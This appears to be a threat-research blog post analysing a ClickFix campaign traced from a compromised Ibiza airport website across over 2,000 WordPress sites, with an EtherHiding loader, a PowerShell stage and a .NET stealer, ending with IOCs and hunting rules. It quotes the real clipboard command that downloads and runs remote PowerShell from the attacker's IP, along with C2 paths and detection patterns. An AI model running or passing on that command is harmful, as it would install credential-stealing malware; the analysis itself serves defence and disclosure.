I'm on holiday. And yet, the morning I was due to be picked up from the airport, I discovered what would turn out to be a rather large ClickFix campaign with over 2100 domains.

It all started with ibiza-airport.org on my friends laptop. As they were checking what time they'd have to leave to pick me up, they say this.

Immediately after arriving, I started checking. Now I wasn't able to get the Clickfix to trigger on my devices at all, but it triggered reliably on theirs. Popping open dev tools in the browser confirmed something was up.

Already, I don't expect an airport website to have anti-debug, viewing source reveals the issue.

A big blob of obfuscated javascript. All veryserious readers will know – that obfuscated javascript is kind of my thing. So let's take a look.

So the first thing the script does is query the BNB Smart Chain.

0xFB448D465841C63F3bC433be61Eb692b813D469d

This – is what the people who name TTPs call – EtherHiding. So what is this Ether hiding ?

Some base64 javascript, which fetches some more javascript.

The loader also attempts to hide itself from any automated programs based on user agents, and also if it detects that the site is being previewed by the wordpress admin, it won't show either.

Now we have the code for the actual fake Cloudflare turnstile we saw earlier. It's pretty cool, it handles Windows and Mac and supports a whopping 60 different languages – including Russian.

So let's take a look at that command that get's inserted into the clipboard.

Download this powershell, and execute it. Send a timestamp to the server while you're at it. The IP is 158.94.211.92 if you're in a rush. More IOCs and so on below as always.

The powershell that comes back from the server is a nice in memory loader for the next payload.

http://158.94.211[.]92/std_enterprise

As it turns out, this is another loader, this one will surely pull the actual malware. It enumerates processes, finds explorer or svchost and inject, then pull enterprise/student_s.bin from 158.94.211.92.

Further investigation revealed that this binary was being rebuilt every minute on the server. I pulled it down a few times and while the behaviour and config were still the same, some benign changes to the file were made. If I had to guess I think this is to kill hash based payload detection.

Inside student_s.bin are all the things you need to run a .NET payload, so i started looking for those, I also noticed the string scene55.exe. Scene55 was actually embedded with a .data section. So I turned my attention there next.

From the looks of it, the malware is actually driven primarily from the operator.

Despite supporting the Russian language in the Clickfix lure, this malware actually calls it quits if it detects the system is Russian, bit sloppy but not the end of the world.

There are a few mentions of local file paths, common web browser password vaults, browser extension configs, and also your classic Steam, Telegram and Discord stealers. But all in all it looks like this stealer is primarily operator-driven, which means we should really find that C2.

So now we've got a few different payloads, and a few different IPs. Interestingly all of these belong to the same host.

Omegatech LTD You should just drop this ASN, it has 5.3k addresses so you're not missing out on anything.

Passive DNS on the lure host gives 29 hostnames. They name infrastructure after its function, which makes the history easy to read: dntds.shop, sdntds.shop, nttdss.shop, newtdsone.shop,ntdnewtds.shop, dnsnewtds.shop, tdsio.shop. TDS is Traffic Distribution System. Domains get registered in batches, run for six to ten weeks, and get retired.

The oldest is from September 2025 and it's called getfix.win.

The scale of this is pretty shocking, all coming from a single host. In total I found 2170 unique websites that has at one point or another been serving Clickfix. The roster is varied. A public utility in Ghana, a revenue authority in Papua New Guinea, and any number of small businesses and sites.

The common denominator for all of these, was Wordpress. Which is also what ibiza-airport.org happens to run.

The final string for me to pull is that contract address from earlier. Since the ledger is public, I went and looked.

The deployer wallet's lifetime nonce is 1. Contract addresses are deterministic —keccak256(rlp([sender, nonce])) and nonce 0 produces this exact contract. So the only transaction that wallet has ever sent is the deployment.

The money agrees. Funded with 0.3 tBNB from the testnet faucet, spent 0.000183545 on deployment gas,holds 0.299816455 today.

Functionally, that means that this C2, which has been the campaign for 2000+ Clickfix attacks – is $0.

I don't know who is behind this attack. Google tracks UNC5142 as a threat actor who's MO is remarkably similar but as far as I'm concerned this is a copy cat.

The highest effort part is the multi stage loader with loader, and the .NET malware appears to be bespoke. I couldn't draw any similarities between it and AsyncRAT or Quasar for example.

So my investigation must come to a close. Tell your friends and family how to spot Clickfix attacks, and thanks for reading.

IOCs — ibiza-airport.org ClickFix / EtherHiding

Collected 2026-08-07.

Network

On-chain (EtherHiding)

RPC endpoints the loader tries, in order:

https://bsc-testnet-rpc.publicnode.com
https://bsc-testnet.bnbchain.org
http://data-seed-prebsc-1-s1.bnbchain.org:8545
https://bsc-testnet.drpc.org

Files

Final payload config (scene55.exe)

Infrastructure — see infra/INFRASTRUCTURE.md

All three operator hosts are in AS202412 (OMEGATECH-AS, Omegatech LTD), registrant/maintainer lir-tr-mgn-1-MNT. Blocking the AS (21 /24s, 5,376 addresses) breaks the entire chain.

Live domains at time of analysis:

Retired but attributable to the same TDS host 178.16.53.137: sdntds.shop, nttdss.shop, newtdsone.shop, ntdnewtds.shop, dnsnewtds.shop, tdsio.shop, cptoptious.com, getalia.org, alianzeg.shop, ligovera.shop, ztdaliweb.shop, getfix.win.

Also seen on 158.94.211.92: zenterprise2026.com, download.protictionview-19-239.es.

On-chain: contract owner 0x09813ef4ab9a7361a8d0455d57e9a81295dae5f8 (storage slot 0); config unchanged.

Because the outer builds are unique per minute, only the scene55.exe hash and the config values are durable. Hunt on the C2, the AES key bytes, and the mutex GUID.

Do not use file size. An early two-sample comparison suggested a fixed 316,928 B; sampling 11 builds shows the outer file takes 312,832 or 316,928 B, and the carved assembly ranges over 177,152 / 178,176 / 179,200 / 179,712 / 180,224 / 181,248 B. All are 512-byte multiples — alignment padding around a drifting payload. Config values, by contrast, were byte-identical in all 11.

Implant build metadata: MinGW-w64 / GCC 15.x, linked 2026-07-16 20:13:25 UTC, imagebase 0x140000000, entry RVA 0x1400, reflective loader as 1536-byte overlay at 0xC000.

Host artefacts

Clipboard / Windows Terminal payload observed:

iex(irm http://158.94.211.92/std/?sid=1786143607012-gn1j5okr -UseBasicParsing)

sid = ms-epoch of visit + 8-char random. 1786143607012 = 2026-08-07 23:00:07 UTC.

Implant target strings (UTF-16LE in .rdata):

svchost.exe   explorer.exe   powershell   158.94.211.92   enterprise/student_s.bin

Stage-4 tracking cookie (PHP-serialized, 24 h):

a:4:{i:0;i:0;i:1;i:1;i:2;a:1:{i:0;i:1;}i:3;i:1786231387;}

Hunting

Network

• Any request to dntds.shop, sdntds.shop, senterprise2026.com, 158.94.211.92
• eth_call POSTs to *bsc-testnet* RPCs from a non-crypto browsing session — strong EtherHiding signal on its own
• WinHTTP traffic to a bare IPv4 from explorer.exe or svchost.exe

Endpoint

• PowerShell 4104 containing Add-Type together with VirtualAlloc / CreateThread
• iex(irm on one line with -UseBasicParsing
• PSReadLine ConsoleHost_history.txt — the lure uses Win+X → I, so the command never reaches RunMRU; that key will still hold unrelated legitimate entries, so absence there proves nothing
• Sysmon 8 (CreateRemoteThread) and 10 (ProcessAccess) from powershell.exe into explorer.exe / svchost.exe

Static

• Byte pattern 4D 5A 45 52 E8 00 00 00 00 59 48 83 E9 09 — the hybrid PE/shellcode DOS-header stub